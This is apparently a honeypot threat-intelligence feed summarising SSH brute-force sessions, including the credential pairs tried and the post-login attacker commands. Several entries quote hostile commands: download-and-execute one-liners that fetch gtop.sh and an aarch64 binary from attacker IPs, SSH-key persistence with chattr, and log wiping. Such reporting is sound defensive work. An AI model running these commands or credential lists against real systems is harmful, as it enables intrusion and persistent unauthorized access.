Observed SSH brute-force activity across 26 sessions in a 3-minute window. The source used SSH-2.0-G ...
show moreObserved SSH brute-force activity across 26 sessions in a 3-minute window. The source used SSH-2.0-Go and tried 25 common/default credential pairs, including root/123456@qq, root/123456qq@, root/Aa123123@, root/Abc123456, root/Zc123456, root/happy1314, debian/123456789, deploy/123123, dev/password, hadoop/hadoop123, steam/123456, trader/12345678, user1/123456, user2/123, work/work, and several other weak logins. After successful access, the only observed commands were uname -m | awk '{printf $1}' and uname -s -v -n -r -m, repeated for basic host reconnaissance. No downloads, file writes, persistence, port forwarding, lateral movement, or malware artifacts were observed.
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7 SSH sessions used admin/letmein, admin1/123, ec2-user/123456, master/wasd, and root/root. The clie ...
show more7 SSH sessions used admin/letmein, admin1/123, ec2-user/123456, master/wasd, and root/root. The client strings were SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. The actor uploaded a file named .16 twice to /home/honeypot/.16, then attempted to execute it with sudo and direct execution, set it executable with chmod +x, and deleted it with rm -rf. Commands also probed sudo access using echo '123456' | sudo -S and echo 'root' | sudo -S. No port forwards, lateral movement, or other downloads were observed. The session included marker strings check_1e4581958adf54a66db92048fa25bf3a_transport_done and check_3f4948c1c6205abf1652df0ab31eb807_transport_done.
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SSH brute-force activity using admin/letmein and master/wasd from SSH-2.0-Go. After login, the actor ...
show moreSSH brute-force activity using admin/letmein and master/wasd from SSH-2.0-Go. After login, the actor tried to execute a dropped file at /home/honeypot/.16, made it executable with chmod +x, then removed it with rm -rf. The same sequence was repeated under both credentials. The session also issued repeated sudo -S attempts using the guessed passwords and ran transport markers such as check_200eed6bc2345bb694b70cf3f64a0c18_transport_done and check_4c01c3a4e56ac7c7c51ac119fc8e1635_transport_done. Two uploads of /home/honeypot/.16 were observed. No lateral movement or additional downloads were observed in the provided data.
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Observed 5 SSH sessions using SSH-2.0-Go and weak credentials: admin/letmein, admin1/123, ec2-user/1 ...
show moreObserved 5 SSH sessions using SSH-2.0-Go and weak credentials: admin/letmein, admin1/123, ec2-user/123456, master/wasd, root/root. After login, the actor repeatedly tried to execute a file named /home/<user>/.16, first via sudo and direct shell invocation, then chmod +x on the file, and later rm -rf on the same path. The same filename was uploaded twice to /home/honeypot/.16. Commands also included simple transport-check strings and repeated sudo -S attempts. No lateral movement, port forwarding, or additional downloads were observed. Behavior shows staged payload upload and execution attempts followed by cleanup/removal of the dropped file.
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Single SSH session used root/ubnt via SSH-2.0-paramiko_2.9.3. After login, attacker attempted to sta ...
show moreSingle SSH session used root/ubnt via SSH-2.0-paramiko_2.9.3. After login, attacker attempted to stage and execute a payload in /tmp (fallbacks /var/run, /mnt, /root, /): wget hxxp://185[.]205[.]194[.]15/gtop.sh -O gtop.sh || curl -o gtop.sh hxxp://185[.]205[.]194[.]15/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 185.205.194.1. Observed download of gtop.sh and immediate execution. No other commands, persistence, lateral movement, or additional credentials observed.
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Multiple SSH logins in 7 sessions using weak credentials: admin/letmein, admin1/123, ec2-user/123456 ...
show moreMultiple SSH logins in 7 sessions using weak credentials: admin/letmein, admin1/123, ec2-user/123456, master/wasd, and root/root. SSH clients observed: SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Attacker uploaded /home/honeypot/.16 twice, then attempted execution via sudo and direct shell invocation. Commands included chmod +x on /home/<user>/.16, execution attempts of /home/<user>/.16, and cleanup with rm -rf /home/<user>/.16 using sudo-S with passwords 123 and root. Also observed terminal markers echoing check_82a6ad6d4b0acea32c832fb9a4be7219_transport_done and check_9f7471ce675778bea2228fded3469eef_transport_done. No persistence, port forwarding, lateral movement, or additional downloads were observed beyond the uploaded .16 file.
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Single SSH brute-force/login attempt using root/---fuck_you----. After login, the attacker checked s ...
show moreSingle SSH brute-force/login attempt using root/---fuck_you----. After login, the attacker checked system architecture with uname -m and uname -s, then tried to execute /tmp/aarch64. They removed any existing copy, downloaded a binary via wget from hxxp://31[.]56[.]209[.]73:32461/b/aarch64, set it executable with chmod 777 /tmp/aarch64, and attempted to run it again before removing the filename. Dropped artifact recovered: aarch64, large binary, 4.9 MB, SHA-256 0ed1b127a19c6ddf304bdb75707ae45c06cb4c994456c6c665ceb360d80bf1d0. No persistence, lateral movement, or additional payloads observed.
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Observed 2 SSH sessions from SSH-2.0-Go using credentials master/wasd and root/root. Activity focuse ...
show moreObserved 2 SSH sessions from SSH-2.0-Go using credentials master/wasd and root/root. Activity focused on attempting to execute a dropped file named .16 in the user home directory. The attacker ran the file directly, tried to invoke it through sudo, changed its mode with chmod +x, then removed it with rm -rf. Repeated checks echoed markers including check_1cb8bcb3952d15a92641b4255e8b1bf9_transport_done and check_6ef199bababe6a8b69eaac07eb8370c2_transport_done. No successful persistence, lateral movement, port forwarding, or remote downloads were observed in the session data. Two uploads of /home/honeypot/.16 were received; no hash data was provided.
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53 SSH login attempts over 4m37s from SSH-2.0-Go. The source tried many default and weak credential ...
show more53 SSH login attempts over 4m37s from SSH-2.0-Go. The source tried many default and weak credential pairs, including root/root123456., root/Password, root/P@ssw0rd, root/P@ssw0rd!, root/pass, root/passwd, root/1q2w3e4r, root/1q2w3e4r5t, administrator/Admin123, admin/123456789, guest/guest123, kali/kali, testuser/test, tester/test, and other common username/password combinations. After access, 104 commands were issued, with only 2 unique commands observed: uname -m | awk '{printf $1}' and uname -s -v -n -r -m. Activity was limited to host reconnaissance; no downloads, file drops, persistence, port forwarding, or lateral movement were observed.
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10 SSH sessions in ~5 minutes using SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Credentials tried: admin/ ...
show more10 SSH sessions in ~5 minutes using SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Credentials tried: admin/, admin1/, ec2-user/, master/wasd, root/root. Activity focused on a dropped executable named .16 uploaded twice to /home/honeypot/.16. The actor attempted to run it with sudo as root and with password wasd, then issued chmod +x on /home/<user>/.16 and rm -rf on /home/<user>/.16 to change permissions and delete the file. Other commands were simple echo markers including check_5d27a94cd2eba6764f12c6bd043e43b6_transport_done and check_6ccb9accfbadecd53abfdcf8bbbfa531_transport_done. No successful login, persistence, port forwarding, lateral movement, or additional payloads were observed.
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3 SSH sessions from SSH-2.0-libssh_0.9.6 in 11.8s. Login attempts used 345gs5662d34/345gs5662d34, ro ...
show more3 SSH sessions from SSH-2.0-libssh_0.9.6 in 11.8s. Login attempts used 345gs5662d34/345gs5662d34, root/3245gs5662d34, and root/csp. After access, the actor tried to remove and recreate the SSH directory, then wrote an SSH public key into ~/.ssh via echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx...". The session also ran cd ~; chattr -ia .ssh; lockr -ia .ssh to remove immutable attributes and alter .ssh permissions/locks. Observed activity shows credential guessing followed by SSH key-based persistence setup. No downloads, port forwards, lateral movement, or additional payloads were observed.
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SSH login attempts used master/wasd and root/root from an SSH-2.0-Go client. The session ran sudo-ba ...
show moreSSH login attempts used master/wasd and root/root from an SSH-2.0-Go client. The session ran sudo-based execution attempts against /home/<user>/.16, then chmod +x on that file, then rm -rf on the same path. The uploaded payload /home/honeypot/.16 was transferred twice. No outbound downloads, port forwards, or lateral movement were observed. The command stream also included markers echoing check_2cc98f17d3bdfb57854f3345711be71c_transport_done and check_53a91d6a35e70fd3da3992b0986f228e_transport_done. Overall activity shows credential guessing, payload staging, execution attempts, and cleanup of the dropped file.
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149 SSH login sessions in 14m45s from SSH-2.0-Go. The source attempted a large credential spray agai ...
show more149 SSH login sessions in 14m45s from SSH-2.0-Go. The source attempted a large credential spray against many common/default accounts, including root, admin, ubuntu, pi, test, user, dev, deploy, git, jenkins, postgres, and vendor/device logins. After successful access, only two commands were observed: uname -m | awk '{printf $1}' and uname -s -v -n -r -m. No downloads, file writes, persistence, port forwarding, or lateral movement were observed. Activity was limited to host enumeration/architecture and kernel/OS fingerprinting.
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SSH brute-force from SSH-2.0-libssh_0.9.6 using 3 credential pairs: deploy/deploypassword, deploy/ro ...
show moreSSH brute-force from SSH-2.0-libssh_0.9.6 using 3 credential pairs: deploy/deploypassword, deploy/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. In 4 sessions, the actor attempted to overwrite SSH access by removing and recreating ~/.ssh, then echoing an ssh-rsa public key into .ssh for key-based persistence. A second command tried to disable file protection with chattr -ia .ssh and lockr -ia .ssh. No downloads, payloads, file artifacts, port forwarding, or lateral movement were observed.
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Two SSH sessions used SSH-2.0-Go and tried admin/letmein then master/wasd. Activity focused on a dro ...
show moreTwo SSH sessions used SSH-2.0-Go and tried admin/letmein then master/wasd. Activity focused on a dropped file at /home/honeypot/.16, which was uploaded twice, then targeted with sudo-wrapped execution attempts, chmod +x, and rm -rf cleanup. The actor also issued echoed markers: check_320f559f6fe4e2e847e2321057194049_transport_done and check_6e9a5b079e3da1f8e6b8639aaa1b7018_transport_done. Observed actions show file staging, execution attempts, permission changes, and deletion of the dropped payload. No successful lateral movement, port forwarding, or additional downloads were observed.
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6 SSH sessions in 28s from SSH-2.0-libssh_0.9.6. Tried root/!QAZ2wsx, root/root3245gs5662d3411111111 ...
show more6 SSH sessions in 28s from SSH-2.0-libssh_0.9.6. Tried root/!QAZ2wsx, root/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. Activity targeted SSH persistence: removed ~/.ssh, recreated it, then attempted to write an SSH public key beginning with ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx... The second command attempted to clear file protections on .ssh with chattr -ia .ssh and lockr -ia .ssh. No downloads, payload execution, lateral movement, or additional recon were observed.
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Observed 6 SSH sessions from SSH-2.0-libssh_0.9.6 over ~20s. Login attempts used root/q123456., root ...
show moreObserved 6 SSH sessions from SSH-2.0-libssh_0.9.6 over ~20s. Login attempts used root/q123456., root/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. After access, the actor ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx and cd ~; chattr -ia .ssh; lockr -ia .ssh. Activity focused on replacing the SSH authorized keys directory and removing immutable attributes on .ssh to enable persistence and continued access. No downloads, malware drops, port forwards, lateral movement, or additional recon were observed.
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Single SSH brute-force session used root/---fuck_you---- from SSH-2.0-Go. After login, the actor che ...
show moreSingle SSH brute-force session used root/---fuck_you---- from SSH-2.0-Go. After login, the actor checked uname -m and uname -s, then attempted to stage /tmp/aarch64 and download it with wget from hxxp://31[.]56[.]209[.]73:32461/b/aarch64. The file was chmod 777, then removed with rm -f aarch64. No persistence, port forwarding, lateral movement, or additional credentials observed. One external payload URL was referenced; no dropped artifacts were reported.
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SSH login attempt using root with password ---fuck_you---- from an SSH-2.0-Go client. After authenti ...
show moreSSH login attempt using root with password ---fuck_you---- from an SSH-2.0-Go client. After authentication, the session ran uname -s -m to fingerprint the host OS and architecture. No downloads, dropped files, persistence, port forwarding, or lateral movement were observed. Two sessions occurred within 6 seconds, indicating rapid repeated access attempts.
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SSH brute-force activity with 3 sessions in 3 seconds using libssh_0.9.6. Tried credentials: 345gs56 ...
show moreSSH brute-force activity with 3 sessions in 3 seconds using libssh_0.9.6. Tried credentials: 345gs5662d34/345gs5662d34, sg/123456, and sg/3245gs5662d34. After access, attacker removed and recreated ~/.ssh, then wrote an SSH public key beginning with ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx... into the directory. Second command attempted to clear file attributes on ~/.ssh using chattr -ia .ssh and lockr -ia .ssh. No downloads, payload execution, port forwards, or lateral movement were observed.
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SSH brute-force and post-login activity over 7 sessions. Tried credentials: admin/letmein, admin1/12 ...
show moreSSH brute-force and post-login activity over 7 sessions. Tried credentials: admin/letmein, admin1/123, ec2-user/123456, master/wasd, root/root. SSH clients seen: SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Observed upload of file .16 to /home/honeypot/.16, followed by execution attempts with sudo and direct launch. Commands show chmod +x on /home/honeypot/.16, repeated runs of /home/honeypot/.16, and cleanup actions to remove the file, clear shell history, and overwrite /var/log/wtmp. Also observed check_3fb159da69e9dbc84e4d560b8fd7bef8_transport_done and check_7c9033dee2d2879d96180f9f0cbed5ff_transport_done. No additional lateral movement or port-forwarding commands were observed.
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SSH brute-force and command-execution activity across 9 sessions over ~11 minutes. Tried multiple ro ...
show moreSSH brute-force and command-execution activity across 9 sessions over ~11 minutes. Tried multiple root passwords: passw0rd, password, password1, qwerty, r00t, root, root!@#. SSH client identified as SSH-2.0-Go. After login, executed sudo-wrapped nproc/cpu-count checks using the attempted passwords, then issued many probe commands beginning with "echo; echo 'check_<hex>_transport_done'". No dropped files, downloads, port forwards, persistence, lateral movement, or malware artifacts were observed in the provided session data.
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Three SSH login attempts in 3 sessions using libssh_0.11.1: 345gs5662d34/345gs5662d34, autcom/3245gs ...
show moreThree SSH login attempts in 3 sessions using libssh_0.11.1: 345gs5662d34/345gs5662d34, autcom/3245gs5662d34, and autcom/autcom. After login, the actor ran “cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx...” to overwrite the SSH directory and install an RSA public key for access. A second command, “cd ~; chattr -ia .ssh; lockr -ia .ssh”, removed immutable attributes and attempted to re-lock the .ssh directory. No downloads, malware drop, port forwarding, lateral movement, or other persistence was observed beyond the SSH key setup and attribute changes.
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Tried 3 root logins in a 7-second window: root/r, root/root3245gs5662d34111111111, and rootssssss234 ...
show moreTried 3 root logins in a 7-second window: root/r, root/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. SSH client identified as SSH-2.0-libssh_0.9.6. After access, the actor ran cd ~ && rm -rf .ssh && mkdir .ssh and began writing an ssh-rsa public key into .ssh for access persistence. A second command attempted cd ~; chattr -ia .ssh; lockr -ia .ssh, removing immutable/append-only protections before modifying the SSH directory. No downloads, lateral movement, or dropped files were observed.
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8 SSH sessions over 13 minutes using SSH-2.0-Go. Tried weak root passwords: 123456, 1234567, 1234567 ...
show more8 SSH sessions over 13 minutes using SSH-2.0-Go. Tried weak root passwords: 123456, 1234567, 12345678, 123456789, 1234abcd, 123abc, 123qwe, 1q2w3e. After login, ran sudo-wrapped checks to discover CPU count with nproc/busybox/grep, then executed many “check_<id>_transport_done” echo commands. No downloads, file drops, persistence, port forwarding, or lateral movement observed. Activity was limited to credential brute force and host enumeration.
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Brute-ForceSSH
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